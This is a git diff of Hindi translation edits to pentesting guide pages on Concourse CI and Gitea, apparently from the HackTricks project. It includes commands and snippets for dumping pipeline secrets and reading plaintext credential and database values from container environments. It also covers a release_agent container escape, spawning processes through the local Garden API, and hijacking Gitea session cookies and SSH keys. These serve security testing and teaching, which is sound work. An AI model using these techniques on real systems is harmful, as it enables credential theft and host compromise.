[Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें। -- `-l` or `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज़ है, और उन्हें सभी सेट करता है। +- `-v` या `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है। +- `-y` या `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है। +- `-i` या `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें। +- `-l` या `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज है, और उन्हें सभी सेट करता है। #### Credential Management -एक पाइपलाइन में **Credential Manager को विभिन्न तरीकों से निर्दिष्ट किया जा सकता है**, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\ +एक पाइपलाइन में **Credential Manager को निर्दिष्ट करने के विभिन्न तरीके** हैं, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\ इसके अलावा, Concourse विभिन्न क्रेडेंशियल प्रबंधकों का समर्थन करता है: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) @@ -57,25 +57,25 @@ Or using the following `fly` **arguments**: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> ध्यान दें कि यदि आपके पास **Concourse पर कुछ प्रकार की लिखने की पहुंच** है तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए। +> ध्यान दें कि यदि आपके पास **Concourse तक कुछ प्रकार की लिखने की पहुंच** है, तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए। ### Concourse Enumeration -एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो। +एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है, जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो। #### Login and Current User enum -- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **team जिसका उपयोगकर्ता सदस्य है** जानना होगा: +- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **टीम जिसका उपयोगकर्ता सदस्य है** जानना होगा: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- कॉन्फ़िगर किए गए **targets** प्राप्त करें: +- कॉन्फ़िगर की गई **targets** प्राप्त करें: - `fly targets` -- जांचें कि कॉन्फ़िगर किया गया **target connection** अभी भी **मान्य** है: +- यह प्राप्त करें कि कॉन्फ़िगर की गई **target connection** अभी भी **valid** है: - `fly -t status` - निर्दिष्ट लक्ष्य के खिलाफ उपयोगकर्ता की **भूमिका** प्राप्त करें: - `fly -t userinfo` > [!NOTE] -> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा गया** है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं। +> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा** गया है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं। #### Teams & Users @@ -129,20 +129,20 @@ rm /tmp/secrets.txt #### Session inside running or recently run container -यदि आपके पास पर्याप्त विशेषाधिकार (**सदस्य भूमिका या अधिक**) हैं, तो आप **पाइपलाइनों और भूमिकाओं की सूची** प्राप्त कर सकेंगे और बस `/` **कंटेनर** के अंदर एक **सत्र प्राप्त कर सकेंगे**: +यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **पाइपलाइनों और भूमिकाओं की सूची** बना सकेंगे और बस `/` **कंटेनर के अंदर एक सत्र प्राप्त कर सकेंगे**: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` इन अनुमतियों के साथ आप सक्षम हो सकते हैं: -- **गुप्त जानकारियाँ चुराना** **कंटेनर** के अंदर +- **गुप्त जानकारी** चुराना **कंटेनर** के अंदर - **नोड** पर **भागने** की कोशिश करना -- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड से और नोड से, यदि संभव हो) +- **क्लाउड मेटाडेटा** एंडपॉइंट की गणना/दुरुपयोग करना (पॉड से और यदि संभव हो तो नोड से) #### पाइपलाइन निर्माण/संशोधन -यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बना/संशोधित** करने में सक्षम होंगे। इस उदाहरण को देखें: +यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बनाने/संशोधित करने** में सक्षम होंगे। इस उदाहरण को देखें: ```yaml jobs: - name: simple @@ -166,16 +166,16 @@ sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` -With the **modification/creation** of a new pipeline you will be able to: +नए **पाइपलाइन** के **संशोधन/निर्माण** के साथ, आप सक्षम होंगे: -- **चुराना** the **गुप्त** (via echoing them out or getting inside the container and running `env`) -- **भागना** to the **नोड** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **क्लाउड मेटाडेटा** endpoint (from the pod and from the node) -- **हटाना** created pipeline +- **चुराना** **गुप्त जानकारी** (उन्हें बाहर इको करके या कंटेनर के अंदर जाकर `env` चलाकर) +- **भागना** **नोड** पर (आपको पर्याप्त विशेषाधिकार देकर - `privileged: true`) +- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड और नोड से) +- बनाए गए पाइपलाइन को **हटाना** -#### Execute Custom Task +#### कस्टम कार्य निष्पादित करें -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **गुप्त**): +यह पिछले तरीके के समान है, लेकिन पूरे नए पाइपलाइन को संशोधित/निर्माण करने के बजाय, आप **बस एक कस्टम कार्य निष्पादित कर सकते हैं** (जो शायद बहुत अधिक **गुप्त** होगा): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux @@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### Escaping to the node from privileged task -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". +पिछले अनुभागों में हमने देखा कि **concourse के साथ एक विशेषाधिकार प्राप्त कार्य कैसे निष्पादित करें**। यह कंटेनर को डॉकर कंटेनर में विशेषाधिकार ध्वज के समान सटीक पहुंच नहीं देगा। उदाहरण के लिए, आप /dev में नोड फ़ाइल सिस्टम डिवाइस नहीं देखेंगे, इसलिए बच निकलना अधिक "जटिल" हो सकता है। -In the following PoC we are going to use the release_agent to escape with some small modifications: +निम्नलिखित PoC में हम कुछ छोटे संशोधनों के साथ escape करने के लिए release_agent का उपयोग करने जा रहे हैं: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -260,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है जो नोड में cmd के पथ को संशोधित करता है। +> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है, जो नोड में cmd के पथ को संशोधित करता है। #### एक वर्कर कंटेनर से नोड में भागना @@ -295,7 +295,7 @@ cat /output भले ही वेब कंटेनर में कुछ सुरक्षा उपाय निष्क्रिय हैं, यह **एक सामान्य विशेषाधिकार प्राप्त कंटेनर के रूप में नहीं चल रहा है** (उदाहरण के लिए, आप **माउंट** नहीं कर सकते और **क्षमताएँ** बहुत **सीमित** हैं, इसलिए कंटेनर से भागने के सभी आसान तरीके बेकार हैं)। -हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में** संग्रहीत करता है: +हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में स्टोर करता है**: ```bash cat /concourse-auth/local-users test:test @@ -304,9 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -आप उन क्रेडेंशियल्स का उपयोग करके **वेब सर्वर के खिलाफ लॉगिन** कर सकते हैं और **एक विशेषाधिकार प्राप्त कंटेनर बना सकते हैं और नोड से बाहर निकल सकते हैं**। +आप उन क्रेडेंशियल्स का उपयोग **वेब सर्वर के खिलाफ लॉगिन करने** और **एक विशेषाधिकार प्राप्त कंटेनर बनाने और नोड पर भागने** के लिए कर सकते हैं। -पर्यावरण में आप **पोस्टग्रेसक्यूएल** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी): +पर्यावरण में आप **postgresql** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -330,12 +330,12 @@ select * from users; #### गार्डन सेवा का दुरुपयोग - एक असली हमला नहीं > [!WARNING] -> ये केवल सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है +> ये सिर्फ सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है -डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**गार्डन**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (इमेज डाउनलोड करना और प्रत्येक कार्य चलाना)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छे सुरक्षा उपाय हैं: +डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**Garden**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (छवि डाउनलोड करें और प्रत्येक कार्य चलाएं)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छी सुरक्षा हैं: -- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक गार्डन सेवा** से बात कर सके जो प्रत्येक कार्यकर्ता के अंदर है। -- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना** चाहते हैं, तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी। +- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक कार्यकर्ता के अंदर प्रत्येक गार्डन सेवा से बात कर सके**। +- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना चाहते हैं** तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी। Concourse कार्यकर्ता उच्च कंटेनर विशेषाधिकारों के साथ चलते हैं: ``` @@ -348,14 +348,14 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -हालांकि, तकनीकें जैसे **mounting** /dev डिवाइस नोड या release_agent **काम नहीं करेंगी** (क्योंकि नोड के फाइल सिस्टम के साथ असली डिवाइस उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है। +हालांकि, /dev डिवाइस को **माउंट** करने जैसी तकनीकें या release_agent **काम नहीं करेंगी** (क्योंकि नोड का असली डिवाइस, जिसमें फाइल सिस्टम है, उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है। > [!NOTE] -> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **privileged container** में **commands** **execute** कर सकते हैं जो **current** **worker** द्वारा बनाया गया है, तो हम **node** पर **escape** कर सकते हैं। +> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **वर्तमान** **कार्यकर्ता** द्वारा बनाए गए **विशेषाधिकार प्राप्त कंटेनर** में कमांड **निष्पादित** कर सकते हैं, तो हम **नोड पर भाग सकते हैं**। ध्यान दें कि concourse के साथ खेलते समय मैंने देखा कि जब कुछ चलाने के लिए एक नया कंटेनर उत्पन्न होता है, तो कंटेनर प्रक्रियाएँ कार्यकर्ता कंटेनर से सुलभ होती हैं, इसलिए यह एक कंटेनर के अंदर एक नया कंटेनर बनाने जैसा है। -**एक चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना** +**चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटाने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं: +हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 27dfa4d59..06f40f868 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -15,9 +15,9 @@ docker-compose up -d ``` आप अपने OS के लिए कमांड लाइन `fly` को वेब से `127.0.0.1:8080` पर डाउनलोड कर सकते हैं। -#### Kubernetes के साथ (अनुशंसित) +#### Kubernetes के साथ (सिफारिश की गई) -आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को हेल्म-चार्ट का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart). +आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को helm-chart का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -कॉनकोर्स वातावरण बनाने के बाद, आप एक गुप्त कुंजी उत्पन्न कर सकते हैं और कॉनकोर्स वेब में चल रहे SA को K8s गुप्त कुंजियों तक पहुँच प्रदान कर सकते हैं: +concourse env बनाने के बाद, आप एक गुप्त को उत्पन्न कर सकते हैं और concourse वेब में चल रहे SA को K8s गुप्तों तक पहुँचने की अनुमति दे सकते हैं: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -69,23 +69,23 @@ secret: MWYyZDFlMmU2N2Rm ``` ### पाइपलाइन बनाएं -एक पाइपलाइन [जॉब्स](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [स्टेप्स](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है। +एक पाइपलाइन [Jobs](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [Steps](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है। -### स्टेप्स +### Steps कई विभिन्न प्रकार के स्टेप्स का उपयोग किया जा सकता है: -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **एक** [**task**](https://concourse-ci.org/tasks.html) **चलाता है** -- [`get` step](https://concourse-ci.org/get-step.html) एक [resource](https://concourse-ci.org/resources.html) लाता है -- [`put` step](https://concourse-ci.org/put-step.html) एक [resource](https://concourse-ci.org/resources.html) को अपडेट करता है -- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) एक [pipeline](https://concourse-ci.org/pipelines.html) को कॉन्फ़िगर करता है -- [`load_var` step](https://concourse-ci.org/load-var-step.html) एक मान को [local var](https://concourse-ci.org/vars.html#local-vars) में लोड करता है -- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) स्टेप्स को समानांतर में चलाता है -- [`do` step](https://concourse-ci.org/do-step.html) स्टेप्स को अनुक्रम में चलाता है -- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) एक स्टेप को कई बार चलाता है; प्रत्येक संयोजन के लिए एक बार वैरिएबल मानों का -- [`try` step](https://concourse-ci.org/try-step.html) एक स्टेप को चलाने का प्रयास करता है और सफल होता है भले ही स्टेप विफल हो जाए +- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) +- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) +- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) +- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) +- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) +- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel +- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence +- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values +- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails -हर [स्टेप](https://concourse-ci.org/steps.html) एक [जॉब प्लान](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(यानी, मेरे परीक्षण चलाएं, यह बैश स्क्रिप्ट चलाएं, यह छवि बनाएं, आदि)_। इसलिए यदि आपके पास पांच स्टेप्स वाला एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक। +प्रत्येक [step](https://concourse-ci.org/steps.html) एक [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(i.e. run my tests, run this bash script, build this image, etc.)_। इसलिए यदि आपके पास पांच स्टेप्स के साथ एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक। इसलिए, यह संकेत देना संभव है कि प्रत्येक स्टेप को किस प्रकार के कंटेनर में चलाने की आवश्यकता है। @@ -123,20 +123,20 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` -Check **127.0.0.1:8080** to see the pipeline flow. +**127.0.0.1:8080** पर पाइपलाइन प्रवाह देखें। -### Bash script with output/input pipeline +### आउटपुट/इनपुट पाइपलाइन के साथ बैश स्क्रिप्ट -यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहाँ आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**। +यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहां आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**। -### Triggers +### ट्रिगर्स आपको हर बार उन्हें चलाने के लिए मैन्युअल रूप से नौकरियों को ट्रिगर करने की आवश्यकता नहीं है, आप उन्हें हर बार चलाने के लिए प्रोग्राम भी कर सकते हैं: - कुछ समय बीतता है: [Time resource](https://github.com/concourse/time-resource/) - मुख्य शाखा में नए कमिट पर: [Git resource](https://github.com/concourse/git-resource) - नए PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- अपने ऐप की नवीनतम छवि को लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/) +- अपने ऐप की नवीनतम छवि लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/) एक YAML पाइपलाइन उदाहरण देखें जो मास्टर में नए कमिट पर ट्रिगर होता है [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 412172a9b..f7e710a73 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea - पंजीकृत उपयोगकर्ता: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) - पंजीकृत संगठन: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** संभवतः **अधिक रिपॉजिटरी या संगठनों को देख सकता है**। +ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** अधिक **रिपॉजिटरी या संगठनों** को **देखने** में सक्षम हो सकता है। ## आंतरिक शोषण @@ -41,16 +41,16 @@ helm install gitea gitea-charts/gitea ### उपयोगकर्ता क्रेडेंशियल्स/वेब कुकी के साथ -यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ हैं** किस **रिपॉजिटरी पर,** आप **कौन से टीमों में हैं,** **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।** +यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ** हैं, **कौन से रिपॉजिटरी** में, **कौन से टीमों** में आप हैं, **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।** -ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल इस जानकारी तक पहुँच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**। +ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुंच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**। > [!NOTE] -> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर किया गया) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**। +> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**। ### उपयोगकर्ता SSH कुंजी के साथ -Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि के रूप में उपयोग की जाएगी** (कोई 2FA लागू नहीं होता)। +Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणीकरण विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)। इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग gitea api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण की गणना की जा सके। हालाँकि, आप **स्थानीय सेटिंग्स की गणना कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है: ```bash @@ -58,50 +58,50 @@ Gitea **उपयोगकर्ताओं** को **SSH कुंजी** # Get repo config and current user name and email git config --list ``` -यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में सेट किए गए **सार्वजनिक कुंजियों** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे जांच सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है। +यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में **जनता कुंजी जो उसने सेट की है** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे चेक कर सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है। -**SSH कुंजियाँ** को **डिप्लॉय कुंजियों** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुँच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको कुंजी से संबंधित जानकारी देगी। +**SSH कुंजी** को **डिप्लॉय कुंजी** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुंच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर 